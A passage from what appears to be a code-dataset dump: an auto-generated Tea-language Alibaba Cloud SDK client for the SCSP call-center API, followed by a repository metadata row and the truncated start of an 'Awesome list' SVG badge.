success?: boolean(name='Success'),
code?: string(name='Code'),
message?: string(name='Message'),
}
model CreateRoleResponse = {
headers: map[string]string(name='headers'),
body: CreateRoleResponseBody(name='body'),
}
async function createRoleWithOptions(request: CreateRoleRequest, runtime: Util.RuntimeOptions): CreateRoleResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('CreateRole', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function createRole(request: CreateRoleRequest): CreateRoleResponse {
var runtime = new Util.RuntimeOptions{};
return createRoleWithOptions(request, runtime);
}
model GrantRolesRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
operator?: string(name='Operator'),
roleId?: [ long ](name='RoleId'),
}
model GrantRolesResponseBody = {
httpStatusCode?: long(name='HttpStatusCode'),
code?: string(name='Code'),
message?: string(name='Message'),
requestId?: string(name='RequestId'),
success?: boolean(name='Success'),
}
model GrantRolesResponse = {
headers: map[string]string(name='headers'),
body: GrantRolesResponseBody(name='body'),
}
async function grantRolesWithOptions(request: GrantRolesRequest, runtime: Util.RuntimeOptions): GrantRolesResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('GrantRoles', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function grantRoles(request: GrantRolesRequest): GrantRolesResponse {
var runtime = new Util.RuntimeOptions{};
return grantRolesWithOptions(request, runtime);
}
model GetOuterCallCenterDataListRequest {
sessionId?: string(name='SessionId'),
fromPhoneNum?: string(name='FromPhoneNum'),
toPhoneNum?: string(name='ToPhoneNum'),
bizId?: string(name='BizId'),
instanceId?: string(name='InstanceId'),
queryStartTime?: string(name='QueryStartTime'),
queryEndTime?: string(name='QueryEndTime'),
}
model GetOuterCallCenterDataListResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: [
{
endReason?: string(name='EndReason'),
callType?: string(name='CallType'),
acid?: string(name='Acid'),
toPhoneNum?: string(name='ToPhoneNum'),
userInfo?: string(name='UserInfo'),
interveneTime?: string(name='InterveneTime'),
bizId?: string(name='BizId'),
sessionId?: string(name='SessionId'),
fromPhoneNum?: string(name='FromPhoneNum'),
extInfo?: string(name='ExtInfo'),
bizType?: string(name='BizType'),
}
](name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
httpStatusCode?: long(name='HttpStatusCode'),
}
model GetOuterCallCenterDataListResponse = {
headers: map[string]string(name='headers'),
body: GetOuterCallCenterDataListResponseBody(name='body'),
}
async function getOuterCallCenterDataListWithOptions(request: GetOuterCallCenterDataListRequest, runtime: Util.RuntimeOptions): GetOuterCallCenterDataListResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('GetOuterCallCenterDataList', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function getOuterCallCenterDataList(request: GetOuterCallCenterDataListRequest): GetOuterCallCenterDataListResponse {
var runtime = new Util.RuntimeOptions{};
return getOuterCallCenterDataListWithOptions(request, runtime);
}
model CreateSubTicketRequest {
instanceId?: string(name='InstanceId'),
creatorId?: long(name='CreatorId'),
creatorName?: string(name='CreatorName'),
templateId?: long(name='TemplateId'),
fromInfo?: string(name='FromInfo'),
formData?: string(name='FormData'),
memberId?: long(name='MemberId'),
memberName?: string(name='MemberName'),
priority?: int32(name='Priority'),
parentCaseId?: long(name='ParentCaseId'),
bizData?: string(name='BizData'),
agentId?: long(name='AgentId'),
}
model CreateSubTicketResponseBody = {
requestId?: string(name='RequestId', description='Id of the request'),
success?: boolean(name='Success'),
code?: string(name='Code'),
message?: string(name='Message'),
data?: long(name='Data'),
}
model CreateSubTicketResponse = {
headers: map[string]string(name='headers'),
body: CreateSubTicketResponseBody(name='body'),
}
async function createSubTicketWithOptions(request: CreateSubTicketRequest, runtime: Util.RuntimeOptions): CreateSubTicketResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('CreateSubTicket', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function createSubTicket(request: CreateSubTicketRequest): CreateSubTicketResponse {
var runtime = new Util.RuntimeOptions{};
return createSubTicketWithOptions(request, runtime);
}
model QueryTicketsRequest {
instanceId?: string(name='InstanceId'),
caseId?: long(name='CaseId'),
caseType?: int32(name='CaseType'),
caseStatus?: int32(name='CaseStatus'),
srType?: long(name='SrType'),
taskStatus?: int32(name='TaskStatus'),
channelId?: string(name='ChannelId'),
channelType?: int32(name='ChannelType'),
touchId?: long(name='TouchId'),
dealId?: long(name='DealId'),
extra?: map[string]any(name='Extra'),
accountName?: string(name='AccountName'),
memberId?: long(name='MemberId'),
parentCaseId?: long(name='ParentCaseId'),
startCaseGmtCreate?: long(name='StartCaseGmtCreate'),
endCaseGmtCreate?: long(name='EndCaseGmtCreate'),
pageSize?: int32(name='PageSize'),
currentPage?: int32(name='CurrentPage'),
}
model QueryTicketsShrinkRequest {
instanceId?: string(name='InstanceId'),
caseId?: long(name='CaseId'),
caseType?: int32(name='CaseType'),
caseStatus?: int32(name='CaseStatus'),
srType?: long(name='SrType'),
taskStatus?: int32(name='TaskStatus'),
channelId?: string(name='ChannelId'),
channelType?: int32(name='ChannelType'),
touchId?: long(name='TouchId'),
dealId?: long(name='DealId'),
extraShrink?: string(name='Extra'),
accountName?: string(name='AccountName'),
memberId?: long(name='MemberId'),
parentCaseId?: long(name='ParentCaseId'),
startCaseGmtCreate?: long(name='StartCaseGmtCreate'),
endCaseGmtCreate?: long(name='EndCaseGmtCreate'),
pageSize?: int32(name='PageSize'),
currentPage?: int32(name='CurrentPage'),
}
model QueryTicketsResponseBody = {
code?: string(name='Code'),
message?: string(name='Message'),
data?: string(name='Data'),
requestId?: string(name='RequestId'),
success?: boolean(name='Success'),
}
model QueryTicketsResponse = {
headers: map[string]string(name='headers'),
body: QueryTicketsResponseBody(name='body'),
}
async function queryTicketsWithOptions(tmpReq: QueryTicketsRequest, runtime: Util.RuntimeOptions): QueryTicketsResponse {
Util.validateModel(tmpReq);
var request = new QueryTicketsShrinkRequest{};
OpenApiUtil.convert(tmpReq, request);
if (!Util.isUnset(tmpReq.extra)) {
request.extraShrink = OpenApiUtil.arrayToStringWithSpecifiedStyle(tmpReq.extra, 'Extra', 'json');
}
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('QueryTickets', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function queryTickets(request: QueryTicketsRequest): QueryTicketsResponse {
var runtime = new Util.RuntimeOptions{};
return queryTicketsWithOptions(request, runtime);
}
model QueryTicketActionsRequest {
instanceId?: string(name='InstanceId'),
ticketId?: string(name='TicketId'),
actionCodeList?: [ int32 ](name='ActionCodeList'),
}
model QueryTicketActionsResponseBody = {
code?: string(name='Code'),
message?: string(name='Message'),
data?: string(name='Data'),
requestId?: string(name='RequestId'),
success?: boolean(name='Success'),
}
model QueryTicketActionsResponse = {
headers: map[string]string(name='headers'),
body: QueryTicketActionsResponseBody(name='body'),
}
async function queryTicketActionsWithOptions(request: QueryTicketActionsRequest, runtime: Util.RuntimeOptions): QueryTicketActionsResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('QueryTicketActions', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function queryTicketActions(request: QueryTicketActionsRequest): QueryTicketActionsResponse {
var runtime = new Util.RuntimeOptions{};
return queryTicketActionsWithOptions(request, runtime);
}
model TransferCallToAgentRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
targetAccountName?: string(name='TargetAccountName'),
callId?: string(name='CallId'),
jobId?: string(name='JobId'),
connectionId?: string(name='ConnectionId'),
holdConnectionId?: string(name='HoldConnectionId'),
type?: int32(name='Type'),
isSingleTransfer?: string(name='IsSingleTransfer'),
}
model TransferCallToAgentResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model TransferCallToAgentResponse = {
headers: map[string]string(name='headers'),
body: TransferCallToAgentResponseBody(name='body'),
}
async function transferCallToAgentWithOptions(request: TransferCallToAgentRequest, runtime: Util.RuntimeOptions): TransferCallToAgentResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('TransferCallToAgent', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function transferCallToAgent(request: TransferCallToAgentRequest): TransferCallToAgentResponse {
var runtime = new Util.RuntimeOptions{};
return transferCallToAgentWithOptions(request, runtime);
}
model FinishHotlineServiceRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
}
model FinishHotlineServiceResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model FinishHotlineServiceResponse = {
headers: map[string]string(name='headers'),
body: FinishHotlineServiceResponseBody(name='body'),
}
async function finishHotlineServiceWithOptions(request: FinishHotlineServiceRequest, runtime: Util.RuntimeOptions): FinishHotlineServiceResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('FinishHotlineService', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function finishHotlineService(request: FinishHotlineServiceRequest): FinishHotlineServiceResponse {
var runtime = new Util.RuntimeOptions{};
return finishHotlineServiceWithOptions(request, runtime);
}
model JoinThirdCallRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
callId?: string(name='CallId'),
jobId?: string(name='JobId'),
connectionId?: string(name='ConnectionId'),
holdConnectionId?: string(name='HoldConnectionId'),
}
model JoinThirdCallResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model JoinThirdCallResponse = {
headers: map[string]string(name='headers'),
body: JoinThirdCallResponseBody(name='body'),
}
async function joinThirdCallWithOptions(request: JoinThirdCallRequest, runtime: Util.RuntimeOptions): JoinThirdCallResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('JoinThirdCall', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function joinThirdCall(request: JoinThirdCallRequest): JoinThirdCallResponse {
var runtime = new Util.RuntimeOptions{};
return joinThirdCallWithOptions(request, runtime);
}
model GetByForeignIdRequest {
instanceId?: string(name='InstanceId'),
foreignId?: string(name='ForeignId'),
sourceId?: long(name='SourceId'),
}
model GetByForeignIdResponseBody = {
requestId?: string(name='RequestId', description='Id of the request'),
success?: boolean(name='Success'),
code?: string(name='Code'),
message?: string(name='Message'),
data?: string(name='Data'),
}
model GetByForeignIdResponse = {
headers: map[string]string(name='headers'),
body: GetByForeignIdResponseBody(name='body'),
}
async function getByForeignIdWithOptions(request: GetByForeignIdRequest, runtime: Util.RuntimeOptions): GetByForeignIdResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('GetByForeignId', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function getByForeignId(request: GetByForeignIdRequest): GetByForeignIdResponse {
var runtime = new Util.RuntimeOptions{};
return getByForeignIdWithOptions(request, runtime);
}
model ExecuteActivityRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
ticketId?: long(name='TicketId'),
operatorId?: long(name='OperatorId'),
activityCode?: string(name='ActivityCode'),
activityForm?: string(name='ActivityForm'),
}
model ExecuteActivityResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model ExecuteActivityResponse = {
headers: map[string]string(name='headers'),
body: ExecuteActivityResponseBody(name='body'),
}
async function executeActivityWithOptions(request: ExecuteActivityRequest, runtime: Util.RuntimeOptions): ExecuteActivityResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ExecuteActivity', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function executeActivity(request: ExecuteActivityRequest): ExecuteActivityResponse {
var runtime = new Util.RuntimeOptions{};
return executeActivityWithOptions(request, runtime);
}
model GetGrantedRoleIdsRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
}
model GetGrantedRoleIdsResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: [ long ](name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
httpStatusCode?: long(name='HttpStatusCode'),
}
model GetGrantedRoleIdsResponse = {
headers: map[string]string(name='headers'),
body: GetGrantedRoleIdsResponseBody(name='body'),
}
async function getGrantedRoleIdsWithOptions(request: GetGrantedRoleIdsRequest, runtime: Util.RuntimeOptions): GetGrantedRoleIdsResponse {
Util.validateModel(request);
var query = OpenApiUtil.query(Util.toMap(request));
var req = new OpenApi.OpenApiRequest{
query = query,
};
return doRPCRequest('GetGrantedRoleIds', '2020-07-02', 'HTTPS', 'GET', 'AK', 'json', req, runtime);
}
async function getGrantedRoleIds(request: GetGrantedRoleIdsRequest): GetGrantedRoleIdsResponse {
var runtime = new Util.RuntimeOptions{};
return getGrantedRoleIdsWithOptions(request, runtime);
}
model ListHotlineRecordRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
callId?: string(name='CallId'),
}
model ListHotlineRecordResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: [
{
endTime?: boolean(name='EndTime'),
startTime?: boolean(name='StartTime'),
connectionId?: string(name='ConnectionId'),
callId?: string(name='CallId'),
url?: string(name='Url'),
}
](name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
httpStatusCode?: long(name='HttpStatusCode'),
}
model ListHotlineRecordResponse = {
headers: map[string]string(name='headers'),
body: ListHotlineRecordResponseBody(name='body'),
}
async function listHotlineRecordWithOptions(request: ListHotlineRecordRequest, runtime: Util.RuntimeOptions): ListHotlineRecordResponse {
Util.validateModel(request);
var query = OpenApiUtil.query(Util.toMap(request));
var req = new OpenApi.OpenApiRequest{
query = query,
};
return doRPCRequest('ListHotlineRecord', '2020-07-02', 'HTTPS', 'GET', 'AK', 'json', req, runtime);
}
async function listHotlineRecord(request: ListHotlineRecordRequest): ListHotlineRecordResponse {
var runtime = new Util.RuntimeOptions{};
return listHotlineRecordWithOptions(request, runtime);
}
model GetNumLocationRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
phoneNum?: string(name='PhoneNum'),
}
model GetNumLocationResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: string(name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
httpStatusCode?: long(name='HttpStatusCode'),
}
model GetNumLocationResponse = {
headers: map[string]string(name='headers'),
body: GetNumLocationResponseBody(name='body'),
}
async function getNumLocationWithOptions(request: GetNumLocationRequest, runtime: Util.RuntimeOptions): GetNumLocationResponse {
Util.validateModel(request);
var query = OpenApiUtil.query(Util.toMap(request));
var req = new OpenApi.OpenApiRequest{
query = query,
};
return doRPCRequest('GetNumLocation', '2020-07-02', 'HTTPS', 'GET', 'AK', 'json', req, runtime);
}
async function getNumLocation(request: GetNumLocationRequest): GetNumLocationResponse {
var runtime = new Util.RuntimeOptions{};
return getNumLocationWithOptions(request, runtime);
}
model CreateSkillGroupRequest {
instanceId?: string(name='InstanceId'),
skillGroupName?: string(name='SkillGroupName'),
description?: string(name='Description'),
displayName?: string(name='DisplayName'),
channelType?: int32(name='ChannelType'),
clientToken?: string(name='ClientToken'),
}
model CreateSkillGroupResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: long(name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model CreateSkillGroupResponse = {
headers: map[string]string(name='headers'),
body: CreateSkillGroupResponseBody(name='body'),
}
async function createSkillGroupWithOptions(request: CreateSkillGroupRequest, runtime: Util.RuntimeOptions): CreateSkillGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('CreateSkillGroup', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function createSkillGroup(request: CreateSkillGroupRequest): CreateSkillGroupResponse {
var runtime = new Util.RuntimeOptions{};
return createSkillGroupWithOptions(request, runtime);
}
model CreateCustomerRequest {
prodLineId?: long(name='ProdLineId'),
bizType?: string(name='BizType'),
name?: string(name='Name'),
typeCode?: string(name='TypeCode'),
phone?: string(name='Phone'),
instanceId?: string(name='InstanceId'),
managerName?: string(name='ManagerName'),
contacter?: string(name='Contacter'),
industry?: string(name='Industry'),
position?: string(name='Position'),
email?: string(name='Email'),
dingding?: string(name='Dingding'),
outerId?: string(name='OuterId'),
outerIdType?: int32(name='OuterIdType'),
}
model CreateCustomerResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: long(name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model CreateCustomerResponse = {
headers: map[string]string(name='headers'),
body: CreateCustomerResponseBody(name='body'),
}
async function createCustomerWithOptions(request: CreateCustomerRequest, runtime: Util.RuntimeOptions): CreateCustomerResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('CreateCustomer', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function createCustomer(request: CreateCustomerRequest): CreateCustomerResponse {
var runtime = new Util.RuntimeOptions{};
return createCustomerWithOptions(request, runtime);
}
| Tea | 4 | aliyun/alibabacloud-sdk | scsp-20200702/main.tea | [
"Apache-2.0"
] |
<svg width="110" height="20" viewBox="0 0 110 20" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><!-- Created by Sindre Sorhus --><title>Mentioned in an Awesome list</title><defs><path d="M3 0h104c1.66 0 3 1.34 3 3v14c0 1.66-1.34 3-3 3H3c-1.66 0-3-1.34-3-3V3c0-1.66 1.34-3 3-3z" id="a"/><linearGradient x1="49.962%" y1="0%" x2="49.962%" y2="100%" id="c"><stop stop-color="#FFF" stop-opacity=".2" offset="0%"/><stop stop-opacity=".2" offset="100%"/></linearGradient><path d="M53.57 3.52h-4.446V7h.648V4.3c0-.072.06-.132.132-.132h1.38c.072 0 .132.06.132.132V7h.648V4.3c0-.072.06-.132.132-.132h1.374c.078 0 .138.06.138.132V7h.642V4.3a.778.778 0 0 0-.78-.78zm4.704 0c.432 0 .78.348.78.78v1.284h-2.892v.636c0 .072.06.132.132.132h2.76V7h-2.76a.778.778 0 0 1-.78-.78V4.3c0-.432.348-.78.78-.78h1.98zm-2.112 1.416h2.244V4.3a.133.133 0 0 0-.132-.132h-1.98a.133.133 0 0 0-.132.132v.636zm6.822-1.416h-2.76V7h.648V4.3c0-.072.06-.132.132-.132h1.98c.072 0 .132.06.132.132V7h.648V4.3a.778.778 0 0 0-.78-.78zm4.026.648V3.52h-1.428V2.38h-.648v3.84c0 .432.348.78.78.78h1.296v-.648h-1.296a.133.133 0 0 1-.132-.132V4.168h1.428zM67.928 7h.648V3.52h-.648V7zm0-4.62v.648h.648V2.38h-.648zm2.562 1.14h1.98c.432 0 .78.348.78.78v1.92c0 .432-.348.78-.78.78h-1.98a.778.778 0 0 1-.78-.78V4.3c0-.432.348-.78.78-.78zm1.98.648h-1.98a.133.133 0 0 0-.132.132v1.92c0 .072.06.132.132.132h1.98c.072 0 .132-.06.132-.132V4.3a.133.133 0 0 0-.132-.132zm4.62-.648h-2.76V7h.648V4.3c0-.072.06-.132.132-.132h1.98c.072 0 .132.06.132.132V7h.648V4.3a.778.778 0 0 0-.78-.78zm4.698 0c.432 0 .78.348.78.78v1.284h-2.892v.636c0 .072.06.132.132.132h2.76V7h-2.76a.778.778 0 0 1-.78-.78V4.3c0-.432.348-.78.78-.78h1.98zm-2.112 1.416h2.244V4.3a.133.133 0 0 0-.132-.132h-1.98a.133.133 0 0 0-.132.132v.636zm6.768-2.556h.648V7h-2.76a.778.778 0 0 1-.78-.78V4.3c0-.432.348-.78.78-.78h2.112V2.38zm-2.112 3.972h1.98c.072 0 .132-.06.132-.132V4.3a.133.133 0 0 0-.132-.132h-1.98a.133.133 0 0 0-.132.132v1.92c0 .072.06.132.132.132zM90.548 7h.648V3.52h-.648V7zm0-4.62v.648h.648V2.38h-.648zm4.56 1.14h-2.76V7h.648V4.3c0-.072.06-.132.132-.132h1.98c.072 0 .132.06.132.132V7h.648V4.3a.778.778 0 0 0-.78-.78z" id="e"/><filter x="-.9%" y="-4.3%" width="101.7%" height="117.3%" filterUnits="objectBoundingBox" id="d"><feOffset dy=".2" in="SourceAlpha" result="shadowOffsetOuter1"/><feGaussianBlur stdDeviation=".1" in="shadowOffsetOuter1" result="shadowBlurOuter1"/><feComposite in="shadowBlurOuter1" in2="SourceAlpha" operator="out" result="shadowBlurOuter1"/><feColorMatrix values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.4 0" in="shadowBlurOuter1"/></filter></defs><g fill="none" fill-rule="evenodd"><mask id="b" fill="#fff"><use xlink:href="#a"/></mask><g mask="url(#b)" fill-rule="nonzero"><path fill="#CCA6C4" d="M0 0h34v20H0z"/><path fill="#494368" d="M34 0h77v20H34z"/><path fill-opacity=".3" fill="url(#c)" d="M0 0h111v20H0z"/></g><g fill-rule="nonzero"><path d="M46.97 10.62c.42 0 .75.13 1.05.4.28.27.43.59.43.98v4.79h-5.24c-.42 0-.77-.13-1.05-.4a1.31 1.31 0 0 1-.43-.98v-2.27h5.5v-1.15c0-.07-.03-.12-.08-.16a.284.284 0 0 0-.17-.07h-5.24v-1.14h5.23zm.26 5.02v-1.36h-4.26v1.13c0 .07.03.12.08.16.05.04.11.07.17.07h4.01zm11.86-5.02h1.3l-2.49 6.17h-1l-2.22-4.59-2.1 4.59-.03-.01.01.01h-1l-2.6-6.17h1.3l1.79 4.09 1.91-4.09h1.4l2.02 4.09 1.71-4.09zm6.95 0c.42 0 .77.13 1.05.4s.43.59.43.98v2.27h-5.5v1.13c0 .07.03.12.08.16.05.04.11.07.17.07h5.24v1.14h-5.24c-.42 0-.77-.13-1.05-.4a1.31 1.31 0 0 1-.43-.98v-3.4c0-.38.15-.71.43-.98s.63-.4 1.05-.4h3.77v.01zm-4.01 2.5h4.26v-1.13c0-.07-.03-.12-.08-.16a.284.284 0 0 0-.17-.07h-3.77a.26.26 0 0 0-.17.07c-.05.04-.08.11-.08.16v1.13h.01zm13.35-1.13v.23h-1.22v-.23c0-.07-.03-.12-.08-.16a.284.284 0 0 0-.17-.07h-3.77a.26.26 0 0 0-.17.07c-.05.04-.08.11-.08.16v.9c0 .07.03.12.08.16.05.04.11.07.17.07h3.77c.42 0 .75.13 1.05.4.28.27.43.59.43.98v.89c0 .38-.15.71-.43.98s-.63.4-1.05.4h-3.77c-.42 0-.77-.13-1.05-.4a1.31 1.31 0 0 1-.43-.98v-.23h1.24v.23c0 .07.03.12.08.16.05.04.11.07.17.07h3.77c.07 0 .12-.03.17-.07.05-.04.08-.11.08-.16v-.89c0-.07-.03-.12-.08-.16a.284.284 0 0 0-.17-.07h-3.77c-.42 0-.77-.13-1.05-.4a1.31 1.31 0 0 1-.43-.98v-.9c0-.38.15-.71.43-.98s.63-.4 1.05-.4h3.77c.42 0 .75.13 1.05.4.27.28.41.61.41.98zm2.6-1.37h3.77c.42 0 .77.13 1.05.4s.43.59.43.98v3.4c0 .38-.15.71-.43.98s-.63.4-1.05.4h-3.77c-.42 0-.77-.13-1.05-.4a1.31 1.31 0 0 1-.43-.98v-3.41c0-.38.15-.71.43-.98.3-.26.65-.39 1.05-.39zm3.77 1.14h-3.77a.26.26 0 0 0-.17.07c-.05.04-.08.11-.08.16v3.4c0 .07.03.12.08.16.05.04.11.07.17.07h3.77c.07 0 .12-.03.17-.07.05-.04.08-.11.08-.16v-3.4c0-.07-.03-.12-.08-.16a.241.241 0 0 0-.17-.07zm11.12-1.14c.42 0 .75.13 1.05.4.28.27.43.59.43.98v4.79h-1.22v-4.8c0-.07-.03-.12-.08-.16a.294.294 0 0 0-.19-.07h-2.61a.26.26 0 0 0-.17.07c-.05.04-.08.11-.08.16v4.79h-1.24v-4.79c0-.07-.03-.12-.08-.16a.284.284 0 0 0-.17-.07h-2.62a.26.26 0 0 0-.17.07c-.05.04-.08.11-.08.16v4.79H84.4v-6.16h8.47zm7.92 0c.42 0 .77.13 1.05.4s.43.59.43.98v2.27h-5.5v1.13c0 .07.03.12.08.16.05.04.11.07.17.07h5.24v1.14h-5.24c-.42 0-.77-.13-1.05-.4a1.31 1.31 0 0 1-.43-.98v-3.4c0-.38.15-.71.43-.98s.63-.4 1.05-.4h3.77v.01zm-4.02 2.5h4.26v-1.13c0-.07-.03-.12-.08-.16a.284.284 0 0 0-.17-.07h-3.77a.26.26 0 0 0-.17.07c-.05.04-.08.11-.08.16v1.13h.01z" fill="#000"/><path d="M46.97 9.92c.42 0 .75.13 1.05.4.28.27.43.59.43.98v4.79h-5.24c-.42 0-.77-.13-1.05-.4a1.31 1.31 0 0 1-.43-.98v-2.27h5.5v-1.15c0-.07-.03-.12-.08-.16a.284.284 0 0 0-.17-.07h-5.24V9.92h5.23zm.26 5.02v-1.36h-4.26v1.13c0 .07.03.12.08.16.05.04.11.07.17.07h4.01zm11.86-5.02h1.3l-2.49 6.17h-1l-2.22-4.59-2.1 4.59-.03-.01.01.01h-1l-2.6-6.17h1.3l1.79 4.09 1.91-4.09h1.4l2.02 4.09 1.71-4.09zm6.95 0c.42 0 .77.13 1.05.4s.43.59.43.98v2.27h-5.5v1.13c0 .07.03.12.08.16.05.04.11.07.17.07h5.24v1.14h-5.24c-.42 0-.77-.13-1.05-.4a1.31 1.31 0 0 1-.43-.98v-3.4c0-.38.15-.71.43-.98s.63-.4 1.05-.4h3.77v.01zm-4.01 2.5h4.26v-1.13c0-.07-.03-.12-.08-.16a.284.284 0 0 0-.17-.07h-3.77a.26.26 0 0 0-.17.07c-.05.04-.08.11-.08.16v1.13h.01zm13.35-1.13v.23h-1.22v-.23c0-.07-.03-.12-.08-.16a.284.284 0 0 0-.17-.07h-3.77a.26.26 0 0 0-.17.07c-.05.04-.08.11-.08.16v.9c0 .07.03.12.08.16.05.04.11.07.17.07h3.77c.42 0 .75.13 1.05.4.28.27.43.59.43.98v.89c0 .38-.15.71-.43.98s-.63.4-1.05.4h-3.77c-.42 0-.77-.13-1.05-.4a1.31 1.31 0 0 1-.43-.98v-.23h1.24v.23c0 .07.03.12.08.16.05.04.11.07.17.07h3.77c.07 0 .12-.03.17-.07.05-.04.08-.11.08-.16v-.89c0-.07-.03-.12-.08-.16a.284.284 0 0 0-.17-.07h-3.77c-.42 0-.77-.13-1.05-.4a1.31 1.31 0 0 1-.43-.98v-.9c0-.38.15-.71.43-.98s.63-.4 1.05-.4h3.77c.42 0 .75.13 1.05.4.27.28.41.61.41.98zm2.6-1.37h3.77c.42 0 .77.13 1.05.4s.43.59.43.98v3.4c0 .38-.15.71-.43.98s-.63.4-1.05.4h-3.77c-.42 0-.77-.13-1.05-.4a1.31 1.31 0 0 1-.43-.98v-3.41c0-.38.15-.71.43-.98.3-.26.65-.39 1.05-.39zm3.77 1.14h-3.77a.26.26 0 0 0-.17.07c-.05.04-.08.11-.08.16v3.4c0 .07.03.12.08.16.05.04.11.07.17.07h3.77c.07 0 .12-.03.17-.07.05-.04.08-.11.08-.16v-3.4c0-.07-.03-.12-.08-.16a.241.241 0 0 0-.17-.07zm11.12-1.14c.42 0 .75.13 1.05.4.28.27.43.59.43.98v4.79h-1.22v-4.8c0-.07-.03-.12-.08-.16a.294.294 0 0 0-.19-.07h-2.61a.26.26 0 0 0-.17.07c-.05.04-.08.11-.08.16v4.79h-1.24v-4.79c0-.07-.03-.12-.08-.16a.284.284 0 0 0-.17-.07h-2.62a.26.26 0 0 0-.17.07c-.05.04-.08.11-.08.16v4.79H84.4V9.92h8.47zm7.92 0c.42 0 .77.13 1.05.4s.43.59.43.98v2.27h-5.5v1.13c0 .07.03.12.08.16.05.04.11.07.17.07h5.24v1.14h-5.24c-.42 0-.77-.13-1.05-.4a1.31 1.31 0 0 1-.43-.98v-3.4c0-.38.15-.71.43-.98s.63-.4 1.05-.4h3.77v.01zm-4.02 2.5h4.26v-1.13c0-.07-.03-.12-.08-.16a.284.284 0 0 0-.17-.07h-3.77a.26.26 0 0 0-.17.07c-.05.04-.08.11-.08.16v1.13h.01z" fill="#FFF"/></g><use fill="#000" filter="url(#d)" xlink:href="#e"/><use fill-opacity=".9" fill="#FFF" xlink:href="#e"/><g fill-rule="nonzero"><path d="M26.57 9.76l-4.91-4.5-.69.75 4.09 3.75H8.94l4.09-3.75-.69-.75-4.91 4.5v2.97c0 1.34 1.29 2.43 2.88 2.43h3.03c1.59 0 2.88-1.09 2.88-2.43v-1.95h1.57v1.95c0 1.34 1.29 2.43 2.88 2.43h3.03c1.59 0 2.88-1.09 2.88-2.43l-.01-2.97z" fill="#DDA4CA"/><path d="M26.57 9.34l-4.91-4.5-.69.75 4.09 3.75H8.94l4.09-3.75-.69-.75-4.91 4.5v2.97c0 1.34 1.29 2.43 2.88 2.43h3.03c1.59 0 